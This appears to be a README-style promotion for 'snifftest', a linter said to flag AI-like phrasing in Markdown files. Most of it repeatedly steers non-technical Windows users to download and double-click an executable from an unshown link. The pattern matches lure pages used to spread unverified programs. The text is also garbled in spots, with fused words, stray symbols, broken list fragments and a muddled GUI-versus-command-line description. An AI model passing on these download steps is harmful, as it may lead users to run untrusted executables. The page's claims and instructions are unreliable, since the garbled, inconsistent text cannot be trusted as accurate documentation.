Keep your prose honest and human with a lightweight, zero-dependency linter that works right on your machine.
⬇️ Visit the Link to Downloadsnifftest is a clever little tool that scans your writing for common AI tells — those subtle, repetitive patterns that give away when text was written by a language model. Think of it as a spellchecker, but for robotic writing style instead of typos.
It comes with countable rules (over 30 built-in checks) and a special judgment model that evaluates the flowof your prose. You get a clear, plain-language report on what might look artificial, so you can rewrite it naturally.
Best of all? It has zero dependencies — no complex installs, no bloatware, no headaches. It just runs.
You're a Windows user, you're not a coder, and you want this running in the next ten minutes. Here's the simple path:
Click the big yellow button at the top of this page, or use the direct link below:
Visit this link to download the application. The page will show you the latest release packages. No need to panic about the technical options — you just need one file.
On the download page, look for a file named roughly like snifftest-windows.exe or snifftest-setup.exe. If you see a zip file, grab that instead — Windows can open it directly.
If the file ends in.exe, just double-click it. Follow any simple prompts. In a minute, you'll have the program ready.
If you got a .zip file, right-click and choose "Extract All". Then open the extracted folder and double-click the snifftest.exe inside.
Once the application window opens (or if it's command-line-based, just type snifftest myfile.md), you'll see a simple drag-and-drop area. Drag any of your .md (Markdown) files onto it.
Snifftest instantly reads the file and highlights the lines that look AI-ish. You'll have a list of rules triggered, along with suggestions for more natural phrasing.
Prefer working in autopilot mode? The snap tool can watch a folder and flag anything new that seems robotic.
| Feature | What it does for you |
|---|---|
| 🔢 Countable Rules | Over 30 distinct, explainable checks — from repetitive sentence starters to overused transition words. |
| 🧠 One Judgment Model | A lightweight heuristic that scans for overall "smoothness" — catches the vibe bots leave behind. |
| 🧑🎤 Clean & Simple | No server, no cloud upload. Your writing stays on your computer. |
| ⚡ Zero Dependencies | No Node.js, Python, Docker, oranything else to install. It's self-contained. |
| 🧩 Markdown Native | Built for the way you write on GitHub, Obsidian, or VSCode. |
| 🔌 Plugin & Action Ready | Works with pre-commit, Claude Code plugins, GitHub Actions — but you don't need those to start. |
You don't need a terminal to use snifftest — but if you're feeling adventurous, here are two easy ways.
.md file into the window.Win key, type cmd, Enter).snifftest "C:\Users\You\Documents\mydoc.md"That's it. No configuration files. No flags. Just write, run, and polish.
Input (obvious AI-flavored text): "Moreover, it is imperative to consider the multifaceted implications of this paradigm shift, thereby fostering a holistic understanding of its pivotal role in fostering sustainable progress."
What snifftest flags: 🚩 "Moreover," (overused transition), 🚩 "multifaceted implications" (cliché cluster⃒, 🚩 "paradigm shift" (classic AI phrase⃒.
Suggested rewrite: "This change matters because it may alter how we work. Let's look at the upsides andown sides." — natural, clear, and human.
.md extension. Snifftest works on Markdown by design.Join thousands of writers who keep their prose fresh, genuine, and unmistakably human.
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